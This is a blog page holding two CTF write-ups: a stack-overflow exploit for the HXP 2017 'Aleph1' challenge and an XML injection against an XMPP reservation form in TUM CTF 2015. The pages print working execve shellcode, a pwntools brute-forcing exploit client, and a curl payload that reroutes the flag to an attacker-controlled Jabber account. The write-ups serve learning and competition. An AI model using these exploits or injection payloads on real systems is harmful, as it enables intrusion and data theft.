Showing posts with label source. Show all posts
Showing posts with label source. Show all posts

Sunday, November 19, 2017

HXP 2017 - Aleph1

This was a baby's first pwnable challenge inspired by the legendary post Smashing The Stack for Fun and Profit published by aleph1.

In this challenge we get a 64 bit binary and some source!  It's rare to get source in CTF's, this was very generous:


#include 

int main()
{
    char yolo[0x400];
    fgets(yolo, 0x539, stdin);
}

Looks simple enough, a very basic stack overflow on an elf64 binary with no mitigations.
Let's try going through the first crash:

$ ulimit -c unlimited
$ python -c 'print "A"*0x400 + "B"*16' | ./vuln
[1]    16507 done                              python -c 'print "A"*0x400 + "B"*16' |
       16508 segmentation fault (core dumped)  ./vuln
$ gdb vuln core
...
 ► 0x4005f6     ret    <0x4242424242424242>
...

Great! We have an RIP overwrite, now we just need to point to a reliable location on the stack where we have shellcode.

We could put a giant NOPSled leading up to this location since we have ~0x400 bytes to work with.

If we look again in GDB for the saved RIP value before the crash, we can decide which stack address to use, something towards the middle of the buffer will work (0x400/2).

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004005ca <+0>: push   rbp
   0x00000000004005cb <+1>: mov    rbp,rsp
   0x00000000004005ce <+4>: sub    rsp,0x400
   0x00000000004005d5 <+11>: mov    rdx,QWORD PTR [rip+0x200a54]        # 0x601030 
   0x00000000004005dc <+18>: lea    rax,[rbp-0x400]
   0x00000000004005e3 <+25>: mov    esi,0x539
   0x00000000004005e8 <+30>: mov    rdi,rax
   0x00000000004005eb <+33>: call   0x4004d0 
   0x00000000004005f0 <+38>: mov    eax,0x0
   0x00000000004005f5 <+43>: leave
   0x00000000004005f6 <+44>: ret
End of assembler dump.

pwndbg> b *0x00000000004005f5
Breakpoint 1 at 0x4005f5: file vuln.c, line 7.

pwndbg> r <<< $(python -c 'from pwn import *; print "\x90"*0x400 + "BBBBBBBB" + "AAAAAAAA"')

pwndbg> i f
Stack level 0, frame at 0x7fffffffdfe0:
 rip = 0x4005f5 in main (vuln.c:7); saved rip = 0x4141414141414141
 called by frame at 0x7fffffffdfe8
 source language c.
 Arglist at 0x7fffffffdfd0, args:
 Locals at 0x7fffffffdfd0, Previous frame's sp is 0x7fffffffdfe0
 Saved registers:
  rbp at 0x7fffffffdfd0, rip at 0x7fffffffdfd8

pwndbg> x/gx 0x7fffffffdfd8
0x7fffffffdfd8: 0x4141414141414141

pwndbg> x/gx 0x7fffffffdfd0
0x7fffffffdfd0: 0x4242424242424242

pwndbg> p/x 0x7fffffffdfd8 - (0x400/2)
$1 = 0x7fffffffddd8

Now we have the stack address we're going to target when setting saved RIP: 0x7fffffffddd8.

For x86-64 shellcode, there's a nice minimal one from our teammate @matir here - https://systemoverlord.com/2014/06/05/minimal-x86-64-shellcode-for-binsh/

Putting this all together, we get a long one-line exploit which looks like this:

(python -c 'from pwn import *; print "\x90" * 0x3E7 + "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05" + "SAVEDRBP" + p64(0x7fffffffddd8)'; cat) | ./vuln


At this point all we have to do is point to the remote and see if it works!
Unfortunately it does not. It must be the stack offset we used which is different than the server. This is a good time to throw this in a client and start tweaking it for the remote.

#!/usr/bin/env python
import sys, time
from pwn import *

r = remote('35.205.206.137', 1996)

OFFSET = 100
REMOTE = len(sys.argv) > 1
STACK_ADDR = 0x7fffffffddd8
SC = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"

def main():
  saved_eip = p64(STACK_ADDR + OFFSET)
  r.sendline("\x90" * 0x3E7 + SC + 'SAVEDRBP' + saved_eip)
  r.sendline("cat flag.txt")
  print r.recv(2000)

if __name__ == "__main__":
  main()


Changing the offset manually a few times didn't end up being very useful. Time to automate this!


  for x in xrange(0, 0xffff, 0x7f):
    try:
      saved_eip = p64(STACK_ADDR + x)
      r.sendline("\x90" * 0x3E7 + SC + 'SAVEDRBP' + saved_eip)
      r.sendline("whoami")
      print r.recv(2000)
      print 'FOUND! => {}'.format(hex(STACK_ADDR + x))
    except:
      pass
    time.sleep(0.4)

After a few cycles this quickly showed the ctf user on the remote. It turned out to be +3000 from our local address.

Running an ls on the remote showed a flag.txt, so we just cat that file.


The final client looks like this:


Sunday, October 25, 2015

TUM CTF 2015 - Italy Food (200)





This was a new CTF coming from H4x0rPsch0rr team representing Technische Universität München.
The point system seemed a little off, but overall I had fun with these challenges!

On this one, I primarily targeted higher point challenges in Misc & Web.

"Italy Food" was a challenge about exploiting a restaurant's website.
It was solved very quickly by another team early on in the game, but then through-out the day, no one else could figure it out until later.  It turns out it wasn't the most difficult to solve, but interesting to go through.


URL: http://1.ctf.link:1120
Description:
Organizing a CTF makes hungry... anyone in for pizza?
Get it while it's hot, hawt, HAWT!!!

1.ctf.link:1120


First started by looking at the sources tab in Google Chrome's Dev Tools.  There were some custom CSS files, font-awesome, vendor css, vendor javascript, and some very simple js logic for controlling the header menu  (Probably part of the Theme).

If you notice above the "Reservation" tab is the darkest color.  I hadn't seen this at first, but it's fairly obvious this was the target.  Also noticed during the challenge, no other pages had any obvious input areas which could potentially be abused.




On this form we have a very clear message telling us how this works.

With our patent pending XMPP reservation 
messaging system, our manager will be 
instantly notified and will respond near 
instantly. Our system will send your 
reservation FLAG right to him!

So the main points here are:

  • XMPP (Protocol being used)
  • Manager will be notified of this message  (Some Jabber Acct.)
  • sending the reservation FLAG (Payload is loaded with FLAG already)


The first thing I try with any Web challenge is to see what type of filters may not be setup.  The first thing I tried seemed to work, I filled out each entry with reasonable values except the "Message" section.  That section was where I put:

abcd
<br>
etc

This returned with an Error!  Looks like we're onto something!

Fatal error: Uncaught exception 'Fabiang\Xmpp\Exception\XMLParserException' with message 'XML parsing error: "Mismatched tag" at Line 5 at column 63' in /var/www/html/vendor/fabiang/xmpp/src/Exception/XMLParserException.php:68 Stack trace: #0 

/var/www/html/vendor/fabiang/xmpp/src/Stream/XMLStream.php(160): Fabiang\Xmpp\Exception\XMLParserException::create(Resource id #13) #1 

/var/www/html/vendor/fabiang/xmpp/src/Connection/Socket.php(162): Fabiang\Xmpp\Stream\XMLStream->parse('send(Object(ProxyStanza)) #4 {main} thrown in 

/var/www/html/vendor/fabiang/xmpp/src/Exception/XMLParserException.php on line 68


It looks like we've got an XML parsing error.  It also looks like they're using a 3rd party php module called "xmpp" by fabiang (found here - https://github.com/fabiang/xmpp)

After looking into this repository, I found where it was failing.  But I was more interested in how to exploit this failure.  Maybe the xmpp repo can shed some light of how the XML is structured in the request.

Searching through the repo, it was very well tested, which means there are also more examples to look at.  The one that helped the most was under Protocol tests for Messages - https://github.com/fabiang/xmpp/blob/master/tests/src/Protocol/MessageTest.php#L83

public function testToString()
{
    $this->object->setTo('foobar')->setMessage('testmessage');
    $this->assertRegExp(
        '#<message type="chat" id="fabiang_xmpp_[^"]+" to="foobar"><body>testmessage</body></message>#',
        $this->object->toString()
    );
}



So let's break this down quickly....

We have a very simple structure for the message:

<message type="chat" id="some_id" to="jabber_id"><body>CONTENT</body></message>

Now we know the flag is being sent to the Manager, and we want the flag... so why don't we just send it to ourselves?  We'll need to change the "to" attribute for this to work.

We'll also assume that the form being submitted from the restaurant's reservation page is being inserted into the body of the message.


Let's also use an easier way of testing each attempt (Some bare minimum essentials for the POST request):

curl -XPOST 'http://1.ctf.link:1120/reservation.php' --data 'name=test&message=<br>'

Now let's construct our target payload for the submission.

First we need to end the body & message tags:

</body></message>

Then we need our newly constructed message and body tags targeting our own temporary XMPP Jabber account:

<message to="attacker@jabb3r.de"><body>


The whole thing together:

curl -XPOST 'http://1.ctf.link:1120/reservation.php' --data 'name=attacker: &message=</body></message><message to="attacker@jabb3r.de"><body>'

Now back on our XMPP Client signed into the attacker account, we've got the resulting Flag!


hxp{we_need_a_xep_for_fastfood_ordering}